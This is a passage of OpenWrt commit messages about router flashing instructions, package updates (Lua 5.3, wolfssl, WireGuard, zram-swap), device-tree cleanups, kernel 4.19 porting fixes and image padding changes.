TX - RX - GND - 3V3 / 57600-8N1
3V3 is the nearest one to the Power LED.
Installation
------------
Via TFTP:
1. Set your computers IP-Address to 192.168.1.75.
2. Power up the Router with the Reset button pressed.
3. Release the Reset button after 5 seconds.
4. Upload OpenWRT sysupgrade image via TFTP:
> tftp -4 -v -m binary 192.168.1.1 -c put <IMAGE>
Via SSH:
Note: User/password for SSH is identical with the one used in the
Web-interface.
1. Complete the initial setup wizard.
2. Activate SSH under "Administration" -> "System".
3. Transfer the OpenWrt sysupgrade image via scp:
> scp owrt.bin admin@192.168.1.1:/tmp
4. Connect via SSH to the router.
> ssh admin@192.168.1.1
5. Write the OpenWrt image to flash.
> mtd-write -i /tmp/owrt.bin -d linux
6. Reboot the router
> reboot
Signed-off-by: David Bauer <mail@david-bauer.net>
Update the lua5.3 package to build a shared object just like the old lua
package. Ported / recreated the same patch number as the other lua
package. Built and tested library / interpreter on BCM5301X.
Signed-off-by: Colby Whitney <colby.whitney@luxul.com>
This commit fixes a forgotten case in previous commit.
Fixes: 087e14ab59 ("ramips: mt7621: merge two variants of MQmaker WiTi together")
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
do_upgrade_stage2() isn't really any common code. It isn't used anywhere
except for /sbin/sysupgrade that passes it to the stage2.
Moving its code to separated file also simplifies COMMAND variable.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
mt7621 and mt7628 now have the ability to detect memory size
automatically.
Drop memory nodes and let kernel determine memory size.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
mt7621 has the following memory map:
0x0-0x1c000000: lower 448m memory
0x1c000000-0x2000000: peripheral registers
0x20000000-0x2400000: higher 64m memory
detect_memory_region in arch/mips/kernel/setup.c only add the first
memory region and isn't suitable for 512m memory detection because
it may accidentally read the memory area for peripheral registers.
This commit adds memory detection capability for mt7621:
1. add the highmem area when 512m is detected.
2. guard memcmp from accessing peripheral registers:
This only happens when some weird user decided to change
kernel load address to 256m or higher address. Since this
is a quite unusual case, we just skip 512m testing and return
256m as memory size.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This patch applies sorting to the definitions as whole blocks.
Sorting has been performed fully automatic, line count differences
originate from double empty lines removed.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch is cosmetical:
It only applies sorting based on device names, whereas renames
already took place in earlier patches.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Having converted the target to use device compatible, ramips.sh
is obsolete now.
The only remaining entry for the mt7688 evaluation board seems to
be orphaned.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As introduced with ath79, DTS files for ramips will now be labelled
soc_vendor_device.dts(i). With this change, DTS files can be
selected automatically without further manual links.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
As introduced with ath79, DTS files for ramips will now be labelled
soc_vendor_device.dts(i). With this change, DTS files can be
selected automatically without further manual links.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This will automatically derive the DTS name as in ath79 and thus
makes specifying DTS for every device obsolete.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
---
This patch only introduces the mechanism and is then followed by
commits with renames and Makefile adjustments per subtarget.
Eventually, those can be all squashed into a single commit or left
as they are to enhance overview.
This will "rename" devices in Makefiles to the pattern used in
DTS compatible. This will systematize naming of devices
enormously.
As device names are used to for default SUPPORTED_DEVICES entries,
we need to adjust the source for /tmp/sysinfo/board_name, too.
So remove relevant entries from base-files/lib/ramips.sh and
use device compatible for that.
Despite that, base-files are updated, too.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Include "Archer" in compatible as it is part of the device name.
Update Makefile device names where necessary to match compatible.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This is already included in newer upstream. Needed to build BPF programs
using the MIPS kernel include files.
Without this patch, clang fails with "#error Use a Linux compiler or
give up." in sgidefs.h when building BPF programs.
Signed-off-by: Fredrik Olofsson <fredrik.olofsson@anyfinetworks.com>
This feature is similar to the SRC_TREE_OVERRIDE. However instead of having
to manually create a symlink inside the package folder, the buildsystem
will check if $(TOP_DIR)/src-checkout/$(PKG_NAME)/.git is present and use
this instead.
Signed-off-by: John Crispin <john@phrozen.org>
This fixes the collection of target info during build, where the
device title for rb532/nand is just empty:
tmp/.config-target.in:44925:warning: leading whitespace ignored
tmp/.config-target.in:123738:warning: leading whitespace ignored
tmp/.config-target.in:123786:warning: leading whitespace ignored
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Fix file installation clash between kmod-sched & kmod-sched-cake as both
try to install sch_cake.ko
Remove cake from kmod-sched package as cake is supposed to be the
optional qdisc.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Newer motherboards support NVMe U.2 connectors but also NVMe storage can
be used on add-on pcie adapters.
Enable kernel driver on x86 for now so the NVMe flash storage can be used
Signed-off-by: Lucian Cristian <lucian.cristian@gmail.com>
Upstream kernel added support for RAW_APPENDED_DTB on ralink arch
in the following commit:
02564fc89d3d ("ralink: Introduce fw_passed_dtb to arch/mips/ralink")
Use upstream solution and get rid of our OWRTDTB hack.
This commit set DEVICE_DTS to $$(DTS) instead of replacing DTS with
DEVICE_DTS in device profile because DTS variable will be dropped
in later commits.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
[Tested on mt7621/mt76x8]
Tested-by: Chuanhong Guo <gch981213@gmail.com>
[Tested on rt305x/mt7620]
Tested-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Update gengetopt to 2.23
Remove 100-dependency_fix.patch, fixed upstream
Rework no tests and docs patch
Fix typo in copyright section
Signed-off-by: Daniel Engberg <daniel.engberg.lists@pyret.net>
The Etactica EG200 is the only device in ath79 despite nand
target that lacks IMAGE_SIZE.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
CAKE made it to kernel 4.19 and since OpenWrt now at kernel 4.19 we can
drop the out of tree cake package in base repository.
Add kmod-sched-cake to netsupport so package dependencies are still met.
Similarly CAKE is retained as an optional qdisc module to avoid base
scheduler package size implications.
Backport upstream patches from k5.1 to address some small bugs and
support fwmark usage.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
With bcm53xx switched to the new procedure there is no more need for
keeping that backward compatibility code.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Calling nand_do_upgrade() from platform_pre_upgrade() was obsoleted in
the commit 30f61a34b4 ("base-files: always use staged sysupgrade").
This change brings bcm53xx in sync with other targets and allows
dropping backward compatibility code. It shouldn't change any user
visible behavior.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Its last usage was dropped back in 2013 in the commit b95bdc8ab5
("kernel/base-files: clean up old code related to refreshing mtd
partitions, it is no longer used anywhere").
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This fixes the following compile problem with kernel 4.9 on lantiq:
drivers/mtd/mtdsplit/mtdsplit_uimage.c:244:34: error: array type has incomplete element type 'struct of_device_id'
static const struct of_device_id mtdsplit_uimage_of_match_table[] = {
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
drivers/mtd/mtdsplit/mtdsplit_uimage.c:245:4: error: field name not in record or union initializer
{ .compatible = "denx,uimage" },
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This is pending to get into the upstream kernel.
This fixes a bug in the upstream kernel which was added to stable some
time ago.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This patch adds two new commands:
zram status - shows memory stats for all zram swaps
zram compaction - trigger compaction for all zram swaps
Signed-off-by: Emil Muratov <gpm@hotplug.ru>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
No size increase on busybox binary.
Since busybox mkswap is already enabled by default it seems reasonable
to enable swapon/off too. For ex. this obsoletes installing block-mount
dependency for zram-swap.
Signed-off-by: Emil Muratov <gpm@hotplug.ru>
Executing '/etc/init.d/zram start' during runtime (with a swap being already
mounted) triggers zram device compaction and prints out nice stats info about
zram memory usage
Signed-off-by: Emil Muratov <gpm@hotplug.ru>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [use IEC's MiB unit]
- fix dependency on BUSYBOX_CONFIG_SWAPONOFF (removed in 84da2a6)
- add busybox defaults checking (fix zram-swap always installs swap-utils
and libblkid as dependency, even if busybox includes mkswap by default)
Signed-off-by: Emil Muratov <gpm@hotplug.ru>
Somehow I missed to add the magical image cooking file
for the SL93512r. Fix it.
Fixes: 18e2053bec ("gemini: Add StorLink SL93512r images")
Reported-by: Christian Lamparter <chunkeey@gmail.com>
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [added Fixes,
changed subject]
This has been reported by Chen Minqiang (@ptpt52).
Reported-by: Chen Minqiang <ptpt52@gmail.com>
Fixes: 18e2053bec ("gemini: Add StorLink SL93512r images")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com> [Added tags]
Currently, path argument is only checked for being not empty.
This changes behavior to actually check whether path exists.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
After commit 1e41de2f48 ("mpc85xx: convert TL-WDR4900 v1 to simpleImage")
XZ compression of zImage was enabled. This change exposed a problem with
the HiveAP-330 images, which was fixed by foregoing the compression on
the kernel altogether with commit 98089bb8ba
("mpc85xx: Use uncompressed kernel on the HiveAP-330").
This patch adds back the gzip compression of the kernel image by
utilizing the generic OpenWRT uImage method instead of relying on
the PowerPC bootwrapper script that did it previously.
Compile-tested: p1020/hiveap-330
Tested-by: Chris Blake <chrisrblake93@gmail.com> [run-tested]
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[filled in even more text]
This edjusts the selection of recently removed wolfssl options which
have always been built into the library even in their abscence.
Also remove the selection of libwolfssl itself, allowing the library to
be built as a module.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
Removed options that can't be turned off because we're building with
--enable-stunnel, some of which affect hostapd's Config.in.
Adjusted the title of OCSP option, as OCSP itself can't be turned off,
only the stapling part is selectable.
Mark options turned on when wpad support is selected.
Add building options for TLS 1.0, and TLS 1.3.
Add hardware crypto support, which due to a bug, only works when CCM
support is turned off.
Reorganized option conditionals in Makefile.
Add Eneas U de Queiroz as maintainer.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This includes a fix for a medium-level potential cache attack with a
variant of Bleichenbacher’s attack. Patches were refreshed.
Increased FP_MAX_BITS to allow 4096-bit RSA keys.
Fixed poly1305 build option, and some Makefile updates.
Signed-off-by: Eneas U de Queiroz <cotequeiroz@gmail.com>
This patch updates the board-2.bin for the default
IPQ4019, QCA9984 and QCA9888 ath10k-firmware-xyz-ct
and -ct-htt firmwares.
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
This prevents overriding it to use GCC9.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Signed-off-by: Christian Lamparter <chunkeey@gmail.com>
[changed logic to not fall back on 7.4]
This patch backports verbatim the commit from Linux 5.2-rc7 that fixes
the warnings about invalid lpm related parameters on hardware which
don't that.
This is the case for e.g. lantiq xrx200 targets.
Supported only in Linux 4.17 an later.
Signed-off-by: Martin Schiller <ms@dev.tdt.de>
[refresh patches, fix commit title]
Signed-off-by: Mathias Kresin <dev@kresin.me>
The following warnings are introduced by our own patches:
lantiq_etop.c:173:1: warning: no semicolon at end of struct or union
};
^
lantiq_etop.c: In function 'ltq_etop_change_mtu':
lantiq_etop.c:725:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
int max = ETH_HLEN + VLAN_HLEN + new_mtu + ETH_FCS_LEN;
^~~
Signed-off-by: Mathias Kresin <dev@kresin.me>
It is pretty ovbious a misuse of the simple-bus binding as no child has
a address.
Luckly the clock node isn't used at all so it is safe to get rid of it.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Set a unit address matching the reg property for the EASY98000 ethernet
node.
Fixes a unit mismatch devicetree compiler warning.
Signed-off-by: Mathias Kresin <dev@kresin.me>
The localbus childs are highly board specific and need to be part of the
board dts. Otherwise we run into duplicate unit address issues if a
board has something else (NAND) connected to the bus id.
Signed-off-by: Mathias Kresin <dev@kresin.me>
The register address is the same for danube und vr9. The register size
is 0x400 byte for danube and 0x300 byte for vr9.
The change doesn't have an impact as the vmmc driver doesn't use the
devicetree and has hardcoded register offsets.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Fixes the following devicetree compiler warning:
unnecessary #address-cells/#size-cells without "ranges" or child "reg" property
Signed-off-by: Mathias Kresin <dev@kresin.me>
Add size and address cells where missing to fix the following devicetree
compiler warning:
Warning (avoid_default_addr_size): Relying on default #address-cells value
Warning (avoid_default_addr_size): Relying on default #size-cells value
Signed-off-by: Mathias Kresin <dev@kresin.me>
The cpu temperature driver has the register offset hardcode and doesn't
need a reg.
The mdio bus node is only used as a well known name and doesn't need a
reg or unit address.
syscon-reboot doesn't have a unit address or a reg either. The unit name
collides with reset-controller@10 anyway.
Signed-off-by: Mathias Kresin <dev@kresin.me>
Add the reg property if the node has an unit address. Fixes the
following device tree compiler warning:
Warning (unit_address_vs_reg): node has a unit name, but no reg property
Signed-off-by: Mathias Kresin <dev@kresin.me>
This allows the definition of DEVICE_VENDOR, DEVICE_MODEL and
DEVICE_VARIANT. All three are merged together to look the same as the
current DEVICE_TITLE. Also, if DEVICE_TITLE is set it's directly used as
a *fallback* for devices which weren't upgraded yet.
This is based on the work of @sudhanshu16.
The motivation is to create JSON files based on provided metadata,
needing clear differentiation between vendor, model and revision.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The current state of the kernel 4.14 support is in the openwrt-19.07
branch. No need to keep a not default used kernel in this branch.
Signed-off-by: Mathias Kresin <dev@kresin.me>
With kernel 4.19 the DMA API relies on a struct device to work properly.
Backport upstream patches which passed a struct device instead of NULL
to the DMA API.
Fixes kernel panics during boot.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Signed-off-by: Mathias Kresin <dev@kresin.me>
In case a PCI device is physical present, the Lantiq PCI driver need to
be loaded prior to the Lantiq PCIe driver. Otherwise none of them will
work because updating the BAR 0 of a device attached to the PCIe Bus
will fail.
Till kernel commit 9667bb039bf6 ("MIPS: lantiq: remove unnecessary
of_platform_default_populate call"), the Lantiq PCI driver was probed
early in the boot process via plat_of_setup().
Since the mentioned commit, both drivers are probed via
of_platform_default_populate_init() and they are probed according to
their order in the devicetree source file.
If the Lantiq PCI driver is enabled in the devicetree, defer the probing
og the Lantiq PCIe driver till the Lantiq PCI driver is probed. Use the
presence of a PCU bus as indicater for a loaded Lantiq PCI driver.
This way we don't need to shuffle the PCI/PCIe nodes in the devicetree
source file, as they are already (correctly) ordered based on the unit
address.
Signed-off-by: Mathias Kresin <dev@kresin.me>
With kernel 4.19 dwc2 would not want to initialize due to reset
timeouts, while it worked fine with 4.14.
Increase the reset timeouts to 1 second, as it was used by the old
lantiq ifxhcd usb driver.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Signed-off-by: Mathias Kresin <dev@kresin.me>
The following patches are dropped because they are now upstreamed:
- 0002-gpio-stp-xway-Implement-get-callback.patch
upstreamed with commit 5b9b2b5284f819 ("gpio: stp-xway: Implement get
callback")
- 0027-01-net-phy-intel-xway-add-VR9-version-number.patch
upstreamed with commit 5b73d9955fb4b0 ("net: phy: intel-xway: add VR9
version number")
- 0027-02-net-phy-intel-xway-add-VR9-v1.1-phy-ids.patch
upstreamed with commit f452518c982e57 ("net: phy: intel-xway: add VR9
v1.1 phy ids")
The following patches were updated:
- 0018-MTD-nand-lots-of-xrx200-fixes.patch
the mainline driver now resides in drivers/mtd/nand/raw/xway_nand.c
(instead of drivers/mtd/nand/xway_nand.c)
- 0025-NET-MIPS-lantiq-adds-xrx200-net.patch
the DMA API now requires a valid device to be passed to all operations
- 0028-NET-lantiq-various-etop-fixes.patch
the DMA API now requires a valid device to be passed to all operations
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Signed-off-by: Mathias Kresin <dev@kresin.me>
This just copies the files from the kernel 4.14 specific folders into
the kernel 4.19 specific folder, no changes are done to the files in
this commit.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Linux 4.15 removes the init_timer() API. It's replaced by two functions:
- timer_setup() is used instead of init_timer() and also replaces the
timer "function" (callback) setup.
- from_timer() has to be used to obtain the use-case specific data from
a struct timer_list, which is now passed to the timer callback.
Update the timer API to be compatible with Linux 4.15+ so it compiles
with the upcoming Linux 4.19 kernel update.
Signed-off-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Since we switched to 4.19, the kernel build checks for libelf to decide if
it should build tools for stack validation.
On macOS, this check fails during target/compile, but succeeds during package
build (because of the pkg-config path picking up target libraries).
Signed-off-by: Felix Fietkau <nbd@nbd.name>
While moving common used parts to dtsi files, the was disabled by
default but not enabled for all boards using the STP.
Fixes: f519fea4c6 ("lantiq: kernel 4.14: cleanup dts files")
Reported-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
Signed-off-by: Mathias Kresin <dev@kresin.me>
Reviewed-by: Martin Blumenstingl <martin.blumenstingl@googlemail.com>
This addresses an issue where the list option specified in
/etc/config/openvpn i.e. 'tls_cipher' would instead show up in the
generated openvpn-<name>.conf as 'ncp-ciphers'. For context,
'ncp_ciphers' appears after 'tls_cipher' in OPENVPN_LIST from
openvpn.options.
Also, the ordering of the options in the UCI config file is now
preserved when generating the OpenVPN config. The two currently
supported list options deal with cipher preferences.
Signed-off-by: Matt Merhar <mattmerhar@protonmail.com>
All protos for wwan (ncm,qmi,mbim) do have a delay option.
To standardize that add also the missing delay option to the 3g proto.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Restart is in default implemented so it calls stop and start. This is
pretty unsafe to call on umount service. This service should not do
anything on restart the same way as on start. Only use of this service
is on stop.
Signed-off-by: Karel Kočí <cynerd@email.cz>
There are mobile carrier who have different MTU size in their network.
With this change it is now possible to configure this with the qmi
proto handler.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Apply the same approach as in commit 3b53d6fdbc ("ar71xx: fix pci irq
init on kernel 4.14") to fix IRQ initialization for ath79-based chipsets
on rb4xx.
Ref: PR#2182
Acked-by: Koen Vandeputte <koen.vandeputte@ncentric.com>
Signed-off-by: W. Michael Petullo <mike@flyn.org>
[commit ref fix]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
In ath79, identifiers tplink_tl-wdr3600 and tplink_tl-wdr4300 have
been used while most other TP-Link devices include the revision.
Although there actually is only one major revision of these
devices, they bear the revision on their bottom (v1.x). TP-Link
also refers to the devices as V1 on its web page.
This patch thus adds -v1 to both so it is more consistent
with other devices and with what you would expect from reading
the on-device sticker and the support pages.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Having the build time written on stderr make it appear with V=w
although it is not an error or warning. Just write the time on stdout
to have it part of the build log like all the rest, but not clutter
the output when only warnings and errors should be shown.
Signed-off-by: Alban Bedel <albeu@free.fr>
Fix wrong paths in InstallDev which cause Lua 5.3 headers to be staged
in /usr/include/, overwriting Lua 5.1 headers and leading to widespread
build failures in all Lua related packages.
Fixes: FS#2348
Fixes: 6b161bb8d5 ("lua5.3: package Lua 5.3 version")
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
* curve25519: not all linkers support bmi2 and adx
This should allow WireGuard to build on older toolchains.
* global: switch to coarse ktime
Our prior use of fast ktime before meant that sometimes, depending on how
broken the motherboard was, we'd wind up calling into the HPET slow path. Here
we move to coarse ktime which is always super speedy. In the process we had to
fix the resolution of the clock, as well as introduce a new interface for it,
landing in 5.3. Older kernels fall back to a fast-enough mechanism based on
jiffies.
https://lore.kernel.org/lkml/tip-e3ff9c3678b4d80e22d2557b68726174578eaf52@git.kernel.org/https://lore.kernel.org/lkml/20190621203249.3909-3-Jason@zx2c4.com/
* netlink: cast struct over cb->args for type safety
This follow recent upstream changes such as:
https://lore.kernel.org/lkml/20190628144022.31376-1-Jason@zx2c4.com/
* peer: use LIST_HEAD macro
Style nit.
* receive: queue dead packets to napi queue instead of empty rx_queue
This mitigates a WARN_ON being triggered by the workqueue code. It was quite
hard to trigger, except sporadically, or reliably with a PC Engines ALIX, an
extremely slow board with an AMD LX800 that Ryan Whelan of Axatrax was kind
enough to mail me.
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
The linux kernel is not reproducible because the build user
and domain is included into the kernel. Set the build user
to `builder` and build domain to buildhost.
It's also possible to build reproducible builds by setting
KERNEL_BUILD_USER KERNEL_BUILD_DOMAIN to static values.
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
TP-Link TL-WR841n v14 is a router based on MediaTek MT7628N.
- MediaTek MT7628NN
- 32 MB of RAM
- 4 MB of FLASH
- 2T2R 2.4 GHz
- 5x 10/100 Mbps Ethernet
Installation:
- copy the
'openwrt-ramips-mt76x8-tl-wr841n-v14-squashfs-tftp-recovery.bin'
file to your tftp server root and rename it to 'tp_recovery.bin'.
- configure your PC running the TFTP server with the static IP address
192.168.0.66/24
- push the reset button and plug in the power connector. Wait until
the orange led starts blinking (~6sec)
Signed-off-by: Alexander Müller <donothingloop@gmail.com>
Signed-off-by: Alexander Couzens <lynxis@fe80.eu> [small modifications gpio-hog]
Similiar to the lantiq target use a dts alias to define the wlan led
instead of static mapping in /etc/board.d/01_leds. Reduce code
duplication.
A device tree must define the alias "led-wlan" similiar to "led-boot".
/ {
aliases {
led-wlan = &led_wlan;
};
[..]
led_wlan: wlan {
label = "tl-wr841n-v14:green:wlan";
gpios = <&gpio1 9 GPIO_ACTIVE_LOW>;
};
};
Signed-off-by: Alexander Couzens <lynxis@fe80.eu>
The src-include method allows recursive inclusion of feeds.conf snippets.
This can for example be used for adding static local feeds to
feeds.conf.default without ever having to update the local feeds.conf:
src-include defaults feeds.conf.default
src-link custom /usr/local/src/lede/custom
Signed-off-by: Bjørn Mork <bjorn@mork.no>
This adds image generation for the StorLink reference design
SL93512r. This board is now supported upstream in kernel
v4.19.
As this image structure is identical to SQ201 and Raidsonic,
we simply refer to this as "storlink-reference" from now on.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The DIR-685 needs this module compiled in for safety
(it is facing the LAN ports) and it is now (as of
kernel v4.19) using the DSA switch architecture so
swconfig is not needed.
Signed-off-by: Linus Walleij <linus.walleij@linaro.org>
The plan for packaging Lua is to have "lua5.1" and "lua5.3" packages
with only the first one having "lua" alias (PROVIDES) for backward
compatibility with existing packages.
Putting PROVIDES in lua5.3 was a copy & paste mistake.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This adds initial support for micro-DPU (uDPU) board which is based on
Armada-3720 SoC. micro-DPU is the single-port FTTdp distribution point
unit made by Methode Electronics which offers complete modularity with
replaceable SFP modules both for uplink and downlink (G.hn over
twisted-pair, G.hn over coax, 1G and 2.5G Ethernet over Cat-5e cable).
On-board features:
- 512 MiB DDR3
- 2 x 2.5G SFP via HSGMII SERDES interface to the A3720 SoC
- USB 2.0 Type-C connector
- 4GB eMMC
- ETSI TS 101548 reverse powering via twisted pair (RJ45) or coax (F Type)
uDPU is intented to run on kernel 4.19 on newer due to the SFP and hardware support.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
When the non-generic espressobin targets were added these board checks
were not updated. One side effect of this is that config is not saved
during an upgrade of -emmc,-v7, or -v7-emmc devices.
Signed-off-by: Brett Mastbergen <bmastbergen@untangle.com>
Some devices and packages require newer version of u-boot to work
properly, update u-boot to keep up with 4.19 kernel.
Signed-off-by: Vladimir Vid <vladimir.vid@sartura.hr>
[re-added missing commit message]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
It apparently requires passing V variable explicitly.
Fixes: fe59b46ca7 ("lua: include version number in installed files")
Reported-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
This package provides an interpreter and compiler for Lua 5.3.5. It has
been decided to use separated package due to a backward incompatibility
of Lua 5.2 and 5.3.
This package/version:
1) Does not include lnum patch as its author didn't decide to port it to
the new version.
2) Does not provide shared library as the old patch doesn't apply
anymore. It can be added later if needed.
3) Does not come with examples package as tests were dropped by upstream
developers.
That said there is definitely a room for improvement and any further
work is highly appreciated. It works however and can be safely pushed as
a basic/early package release.
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
Image padding with dd needs to be done in an OS independent way as not
all dd understand capital letter unit specifiers, and not all understand
lowercase either.
Fixes: 97833a57ef ("build: image: add pad-to and pad-rootfs-squashfs helpers")
Reported-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Fixes following kernel build issue on ath79 with CONFIG_KERNEL_FTRACE=y
enabled:
Tracers (FTRACE) [Y/n/?] y
Kernel Function Tracer (FUNCTION_TRACER) [Y/n/?] y
Kernel Function Graph Tracer (FUNCTION_GRAPH_TRACER) [Y/n/?] y
Enable trace events for preempt and irq disable/enable (PREEMPTIRQ_EVENTS) [N/y/?] (NEW)
...
Preempt / IRQ disable delay thread to test latency tracers (PREEMPTIRQ_DELAY_TEST) [N/m/?] (NEW)
Signed-off-by: Petr Štetiar <ynezz@true.cz>
An aquantia phy patch which dropped pause frame support was
missing when integrated LSDK-19.03 kernel patches into OpenWrt.
Without this patch, LS1043A 10G port would not work. So apply it.
Patch link
https://source.codeaurora.org/external/qoriq/qoriq-components/
linux/commit/?h=linux-4.14&id=66346b115818365cfaf99d292871b19f0a1d2850
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
cd7eabcd8c9d ugps: Fix compilation under 64-bit
198c06051dd0 Fix build error caused by enabled extra compiler warnings
fc2ab8756b3b Enable extra compiler warnings
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Just stumbled across this LEDE legacy, without finding any real reason
to keep it. There is a single LEDE_DEVICE_MANUFACTURER_URL dependency
in the luci feed repo which needs to be syncronized.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
[re-added missing commit message]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Current snapshot images doesn't provide images with usable overlay
filesystems:
mount_root: no usable overlay filesystem found, using tmpfs overlay
So this patch fixes this by updating support to current f2fs/ext4 based
overlays and providing squashfs with proper rootfs
TARGET_ROOTFS_PARTSIZE size.
While at it, I've also added support for optional gzipping of the
images, and renamed the output rootfs image filenames to match the more
common naming pattern $(IMG_PREFIX)-rootfs-$(FS-TYPE).img.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
jffs2/mtdblock overlays are long time gone, and as we switch to the new
f2fs/ext4 based overlays, we need to add missing support for loop block
device and f2fs to kernel.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Current snapshot images doesn't provide images with usable overlay
filesystems:
mount_root: no usable overlay filesystem found, using tmpfs overlay
So this patch fixes this by updating support to current f2fs/ext4 based
overlays and providing squashfs with proper rootfs
TARGET_ROOTFS_PARTSIZE size.
While at it, I've also added support for optional gzipping of the
images, and renamed the output rootfs image filenames to match the more
common naming pattern $(IMG_PREFIX)-rootfs-$(FS-TYPE).img.
Cc: Yousong Zhou <yszhou4tech@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
jffs2/mtdblock overlays are long time gone, and as we switch to the new
f2fs/ext4 based overlays, we need to add missing support for loop block
device and f2fs to kernel.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Current squashfs snapshot images are improperly padded by just 128k,
which doesn't correspond with TARGET_ROOTFS_PARTSIZE=128 default config
option, leading to following:
Filesystem Size Used Available Use% Mounted on
/dev/root 2.5M 2.5M 0 100% /rom
/dev/loop0 85.0K 9.0K 71.0K 11% /overlay
overlayfs:/overlay 85.0K 9.0K 71.0K 11% /
Signed-off-by: Petr Štetiar <ynezz@true.cz>
In `build: image: Add IMG_ROOTFS and IMG_COMBINED variables` we've added
this new variables so switch to them now.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This common code could be shared by at least 3 targets (malta, armvirt
and x86) so let's factor it out to separate variable.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
As we're now going to pad all images by default to 128MiB let's enable
compression of the images for armvirt and malta in order to save some
space and bandwidth.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
As we're now going to pad all images by default, lets decrease the
default rootfs partition size from 256MiB to 128MiB in order to save
some space.
I'm keeping it above 100MiB in order to keep current behavior, where
overlay filesystem is using F2FS.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Commit "build: Remove TARGET_IMAGES_PAD option" has removed this config
option so remove it from this target as well.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Currently we're producing unusable x86 combined squashfs images
(18.06.1, 18.06.2 and snapshots) as we don't enable TARGET_IMAGES_PAD,
thus providing very small space for the overlay filesystem, leading to
the following with OpenWrt 18.06.1 r7258-5eb055306f images on x86 QEMU:
root@(none):/# mount | egrep 'root|overlay'
/dev/root on /rom type squashfs
/dev/loop0 on /overlay type ext4
overlayfs:/overlay on / type overlay
root@(none):/# df -h | egrep 'root|overlay|Size'
Filesystem Size Used Available Use% Mounted on
/dev/root 2.5M 2.5M 0 100% /rom
/dev/loop0 113.0K 8.0K 97.0K 8% /overlay
overlayfs:/overlay 113.0K 8.0K 97.0K 8% /
We should rather ensure proper image padding in image generation code
and we shouldn't rely on config options in order to generate usable
images.
So this patch removes TARGET_IMAGES_PAD config option and enforces
padding on combined images.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
